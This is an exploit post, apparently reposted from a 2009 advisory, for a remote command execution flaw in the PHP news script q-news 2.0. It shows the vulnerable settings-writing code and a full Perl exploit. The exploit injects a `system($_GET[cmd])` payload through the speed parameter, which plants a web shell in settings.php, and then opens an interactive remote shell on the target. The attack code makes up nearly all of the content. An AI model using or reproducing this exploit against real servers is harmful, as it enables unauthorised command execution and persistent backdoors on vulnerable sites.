|
q-news 2.0 Remote Command Execution Exploit
|
|
来源：fireshotautisticiorg 作者：FireShot 发布时间：2009-02-11
|
|
##########################################################################
Author = FireShot , Jacopo Vuga.
Mail = fireshot<at>autistici<dot>org
Vulnerability = Remote Command Execution
Software = q-news 2.0
Download =
http://ovh.dl.sourceforge.net/sourceforge/php-box/2.0_nologin.zip
Greets to = Osirys for his friendship and his tips, Myral, str0ke
###########################################################################
[CODE]
<?php
$filename = 'settings.php';
if (is_writable($filename)) {
if (!$handle = fopen($filename, 'w')) {
print "Cannot open file ($filename)";
exit;
}
if (!fwrite($handle, "<?php
\$password = '$password';
\$font = '$font';
\$height = '$height';
\$width = '$width';
\$direction = '$direction';
\$speed = '$speed';
\$bgcolor = '$bgcolor';
\$txtcolor = '$txtcolor';
\$txtsize = '$txtsize';
?>")) {
print "Cannot write to file ($filename)";
exit;
}
print "Successfully saved settings to file ($filename)";
fclose($handle);
} else {
print "The file $filename is not writable";
}
?>
[/CODE]
[EXPLOIT]
#!/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;
my $host = $ARGV[0];
my $vuln = "/wsettings.php?speed=";
my $rce = "/settings.php?cmd=";
my $evil = "';system(\$_GET[cmd]);\$x = '";
my $inj_url = $host.$vuln.$evil;
my $rce_url = $host.$rce;
($host) || die " usage= perl $0 site \n";
print "------------------------\n";
print " Q-News RCE Exploit \n";
print " by FireShot \n";
print "------------------------\n\n";
$response = get($inj_url);
if ($response =~ /Successfully saved settings/) {
&shell;
}
else {
print "error \n";
exit(0);
}
sub shell {
print "FireShot-shell: ";
my $cmd = <STDIN>;
$cmd !~ /quit/ || die " exit \n";
my $url = $rce_url.$cmd;
my $re = get($url);
if ($re =~ /(.)/) {
print $re;
}
else {
print "command unknow \n";
}
&shell;
}
sub get() {
my $url = $_[0];
my $req = HTTP::Request->new(GET => $url);
my $agent = LWP::UserAgent->new();
$agent->timeout(4);
my $response = $agent->request($req);
return $response->content;
}
[/EXPLOIT]
############################################################################
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
|
|
 |
|
推荐广告 |
|
|
|
|
|
